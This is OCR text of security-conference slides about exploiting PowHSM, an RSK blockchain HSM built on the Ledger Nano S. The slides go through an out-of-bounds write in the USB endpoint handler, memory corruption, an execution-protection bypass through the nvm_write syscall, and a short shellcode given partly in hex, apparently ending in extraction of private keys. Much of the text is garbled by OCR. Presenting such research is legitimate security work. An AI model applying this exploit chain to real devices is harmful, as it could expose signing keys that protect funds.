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HSM security
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Purpose

* Cryptographic key generation
* Secure key storage

* Sign/Verify

* Tamper evident/resistant

S HEXPLOT



PowHSM solution

* Specific use case for RSK blockchain solution
* HSM is based on Ledger Nano S device

* Software only modification

* Implements custom Ul and Signer APP

* Relies on Ledger device security

* PowHSM is uses the old version of the device FW 1.3.1
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Ledger Nano S
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Ledger Nano S internals
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Ledger Nano S design

MCU
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Screen Buttons, ...

Hardware wallet

Secure Element

BOLOS

= - - - - - A . . . - L

S HEXPLOT




Attacker model
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Attacker model

STM32 JTAG
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PowHSM code
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static void main_loop() {

volatile unsigned int rtx = 8;

while ('hsm_exit requested()) {
if (!do_io exchange(&rtx))
continue;

rtx = hsm_process_apdu{rtx);
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typedef enum {
[/ Signing-related
INS_SIGN = @xe@2,
INS_GET_PUBLIC_KEY = ©x@d4,

/1 Misc
RSK_IS_ONBOARD = @x@6,
RSK_MODE_CMD = @x43,

J/ Advance blockchain and blockchain state
INS_ADVANCE = @xle,

INS_ADVANCE_PARAMS = Ox11,

INS_GET_STATE = @x2@,

INS_RESET_STATE = @x21,

INS_UPD_ANCESTOR = @x30,

J/ Attestation
INS_ATTESTATION = 6x50,
INS_HEARTBEAT = @x6@,

// Exit
INS_EXIT = @xff,

} apdu_instruction_t;
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Previous audit findings
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3 Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the
severity of the risk, application’s exposure and user population, technical difficulty of

exploitation, and other factors.

Title Status ID Risk
Inconsistent Threshold Signature Validation Criteria Fixed 6PU Low
Potentially Unsafe Exception Handling Fixed AP2 Low
Block Number Validation in Blockchain State Update  Fixed 2GR Low
Does Not Match Documentation

Failure to Validate Signer Authorizer Array Size May Fixed WAM Low
Lead to Out-of-Bound Memory Access

Onboarding State May Not Be Correctly Tracked Fixed 7DB Low
Flash Memory Endurance Considerations Fixed 4GK Info
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PowHSM attack paths

The critical components for the code:

* PIN verification
e Authentication state checks
* Transaction parsing

* Transaction state
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PowHSM attack paths

The critical components for the code:

* PIN verification
e Authentication state checks
* Transaction parsing

* Transaction state

S HEXPLOT

Function name A
[7] os_ux

[7] os_seph_features

(7] io_seproxyhal_spi_send
[E io_seproxyhal_spi_is_status_sent
[7] io_seproxyhal_spi_recv
(7] trie_init

[7] trie_result

[7] trie_consume

(7] sub_CODOBDCA

[7] sub_C0D0OBDD2
sub_CODOBDEOQ

[7] sub_CODOBDES
USBD_LL_Init

[7] USBD_LL_Delnit

[7] USBD_LL_Start

[7] USBD_LL_Stop

[7] USBD_LL_OpenEP
USBD_LL_CloseEP

[7] USBD_LL_StallEP

|7] USBD_LL_ClearStallEP
7] USBD_LL_IsStallEP
USBD_LL_SetUSBAddress
[7] USBD_LL_Transmit

[Z] USBD_LL_PrepareReceive
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usb_ep xfer_event()
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usb_ep xfer_event()

[ maviewA £} [(Erseudocode-A B) [ErseudocodeB ) [O Hexview-1 B} [A] structures B3 [ ewms B Imp

1 [void io_seproxyhal_handle_usb_ep_xfer_event()
2{
® 3| switch ( G_io_seproxyhal_spi_buffer[4] )
41 {
5 case lu:
® 6 USBD_LL_SetupStage(&USBD_Device, &G_io_seproxyhal_spi_buffer[6]);
® 7 break;
8 case 2u:
® 9 USBD_LL_DataInStage(&USBD_Device, G_io_seproxyhal_spi_buffer[3] & @x7F, &G_io_seproxyhal_spi_buffer[6]);
® 10 break;
11 case 4u:
® 12 G_io_usb_ep xfer_len[G_io_seproxyhal spi_buffer[3] & @x7F] = G_io_seproxyhal spi_buffer[5];|
® 13 JSBD_LL_Dataoutotage(&USBD_Device, G_10_seproxynal_spl_bDUTTer|3] & OX/F, & 0_seproxynal_spi_buffer[6]);
® 14 break;
15| }
® 16 |}

© [ .bss:20002015 G io _usb_ep xfer len ¥ 7 ; DATA XREF: io seproxyhal get ep rx sizet+Elo
.bss:20002015 ; -text:off CODB5744l0 ...
.bss:2000201C EXPORT G_io_apdu_state
»DSS:2000201C ; volatile io_apdu_state_e G_io_apdu_state
g .bs55:2000201C G_io_apdu_state ¥ 1 ; DATA XREF: io_seproxyhal init+Alc
.b55:2000201C ; io_seproxyhal init+Elw ...
* | .bss:2000201D ALIGN 2
.bss:2000201E EXPORT G_io_apdu_offset
.DSS:2000201E ; volatile unsigned _ intl6 G_io_apdu_offset
" .bss:2000201E G_io_apdu_offset ¥ 2 ; DATA XREF: io seproxyhal init+l@lo
- .bss:2000201E ; io_seproxyhal_init+i2iw ...
3 HEXPLOT .bss:20002020 EXPORT G_io_apdu_length



The bug

Global data out of bounds write of 128 bytes

To do list:
[] Find how to trigger the bug

[] Find what to corrupt

[] Present exploitation of trivial BOF at Hexacon
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Trigger the bug
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= Memory & File editing ¥ @ Connected
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3 Address | 0x08000000 | v | Size = 0x8000 Data width = 32-bit ~  Find Data 0x
e
[,—,‘ Address (] 4 8 C AsCll
f" b 0x08002D90 1€212000 00000106 00000000 3023000 s U SO 0.0
CPUi 0x08002DA0 04030200 08070605 0C0BOAO9 TOOROEOR | |hesiivessepmesinsns
1 | 0x08002D80 03020110 07060504 0B80A0908 OFOEODOC
ST 0x08002DCO 00000010 03020100 03020104 08070604 ................
0x08002DD0 4032209 64006500 65006700 20007200 ".L.e.d.g.e.r.
0x08002DEO 61004€£00 6F006E00 53002000 42002000 Nid.n.o. .S. .B
0x08002DF0 02004C00 00000003 00290209 €0020101 ) Bee Herannd
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ne corruption

.b55:20002015 G_io_usb_ep_xfer_len X 7
EXPORT G_io_apdu_state

5_io_apdu_state % 1

ALIGN 2
EXPORT G_io_apdu_offset

6_io_apdu_offset % 2
EXPORT G_ic_apdu_length
20 5_io_spdu_length % 2
EXPORT G_io_apdu_seq

5_io_apdu_seq X% 2

EXPORT G_bagl_last

4 5_bagl_last_touched_not_released_component ¥ 4

EXPORT G_button_mask
5_button_mask % 4
EXPORT G_button_same_mask_counter

5_button_same_mask_counter X 4

touched_not_released_component

~1p_callbacks % 4

}882034 ~1p_ctx_ptr %1

rlp_start
rlp_chu

rlp end
rlp start
rlp end

} rlp callb

1t bytearray_start;
1t bytearray_chunk;
t bytearray_end;

) t list start;
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XN bypass

* SE uses an MPU
* App RAM is not executable
Two issues in Ledger Nano S:
* Persistent data is in the same region in flash as the code

* nvm_write syscall allows the app writing to its code

S HEXPLOT
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The exploit

r®

# Initialize blockchain state. typedef struct 1
N uint&_t best_block[HASH_SIZE];
uint&_t newest_valid_block[HASH_SIZE];

uint&_t ancestor_block[HASH_SIZE];

void bc_init_state() {
if (!N_bc_state.initialized) {
MVM_RESET({&M bc_state, sizeof(N_bc_state));
MYM_WRITE(N_bc_state.best_block, INITIAL_BLOCK HASH, HASH SIZE): uint&_t ancestor_receipt_root[HASH_SIZE];
MVM_WRITE(N_bc_state.newest_valid_block, INITIAL_BLOCK_HASH, HASH_SIZE); uint&_t last_auth_signed_btc_tx_hash[HASH_SIZE];

pintd_t t = 1;

e . uint8 t initialized;
MVM_WRITE(&MN_bc_state.initialized, &t, sizeocf(i));

} bc_state_t;

347 f*
343 * State updates to perform on partial sucess.
349 *f
350 static wvoid bc_adv_partial_success() {
351 HSTORE(bc_st_updating.next_sxpected_block, aux_bc_st.prev_parent_hash);
352 SAFE_MEMMOVE(bc_st_updating.total_difficulty,
353 sizeof(bc_st_updating.total_difficulty),
324 MEMMOWE FERQ OFFSET
Code 113 Bytes Unwraj

1 ./ledger/build/build-signer ©x834932228348844b68b50847088bdeobfE41f00206e461306514c130000000000 0x11223344 testnet
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The shellcode

* 32 bytes of the shellcode
* Thumb mode up to 16 instructions
* Shellcode:

* Set SRC to SPI buffer

 Set DST to flash code of the app

e Call nvm_write syscall

Code 113 Bytes Unwray

1 ./fledger/build/build-signer 8x834932228348844b88b5984788bdesbf841f@6286e461388514c138800088008 8x11223344 testnet

S HEXPLOT
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The exploit

BEGIN_TRY {
TRY

os_perso_derive node bip32(CX_CURVE_256K1,
path,
path_length,
(unsigned char*)private key data,
ULL);
c¥_ecdsa_init_private key(CX_CURVE_256K1,
(unsigned char*)private key data,
KEY_LEN,
(cx_ecfp_private_key t*)&private key);

cx_ecfp_generate_pair(CX_CURVE_256K1,
(cx_ecfp_public_key t*)&public_key,
(cx_ecfp_private_key_t*)&private_ key,
1);

explicit bzero((void*)&private key,

pubkey size = public_key.W len;

SAFE_MEMMOVE (dest,
dest_size,
MEMMOVE_ZERC_OFFSET,
(void*)public_key.W,
public_key.W len,
MEMMOVE_ZERO_OFFSET,
public_key.W len,
{ pubkey_size = DO_PUBKEY_ERROR;

YHEXPLOT

BEGIN_TRY {
TRY

os_perso_derive node_ bip32(CX_CURVE_256K1,
path,
path_length,

(unsigned char*)private_key data,
ULL);
cx_ecdsa_init private key(CX_CURVE_256K1,
(unsigned char*)private key data,
KEY_LEN,
(cx_ecfp_private_key t*)&private key);

syscall
nvm_write

pubkey size = public_key-R-IM;
SAFE_MEMMOVE (desd,
dest_size,
MEMMOVE_ZERO_OFFSET,
(ypid®ieubdiTKey W,
public_key.W_len,
MEMMOVE_ZERO_OFFSET,
public_key.W_len,
{ pubkey size = DO_PUBKEY_ ERROR; })

private key




1 2ceeo 00008000

C(‘,d-‘:esh ¢ > ) gaeee

B C:\Windows\System32\cmd.exe

2fafa@8ec42461563 )1fd6f 2b57b11999d214FF

gegoeasee

c82158fb5d5b6a99
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Conclusions?
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Original Ledger IO code in 2016

188  + void io_seproxyhal_handle_usb_ep_xfer_event(void) {
181+ switch(G_io_seproxyhal_spi_buffer[4]) {
102+ case SEPROXYHAL_TAG_USB_EP_XFER_SETUP:
103 + // assume length of setup packet, and that it is on endpoint @
184  + USBD_LL_SetupStage(&USBD_Device, &G_io_seproxyhal_spi_buffer[6]);
185 + break;
186 +
187 + case SEPROXYHAL_TAG_USB_EP_XFER_IN:
188+ USBD_LL_DataInStage(&USBD_Device, G_io seproxyhal_spi_buffer[3]8@x7F, &G_io seproxyhal_spi_buffer[B]);
189 + break;
11@ +
111+ case SEPROXYHAL_TAG_USB_EP_XFER_OUT:
112 + // saved just in case it is needed ...
113 + G_io_usb_ep_xfer_len[G_io_seproxyhal_spi_buffer[3]&@x7F] = G_io_seproxyhal_spi_buffer[5];
114 + USBD_LL_DataOutStage(&USBD Device, G_io seproxyhal_spi_buffer[3]8&3x7F, &G_io_seproxyhal_spi buffer[6]);
115 + break;
116 + }
117 +
111 case SEPROXYHAL TAG_USB_EP _XFER_OUT:
112 // saved just in case it is needed ...
113 G_io_usb_ep_xfer_len[G_ioc_seproxyhal_spi_ buffer[3]&0x7F] = G_io_seproxyhal_spi_buffer[5];

S HEXPLOT
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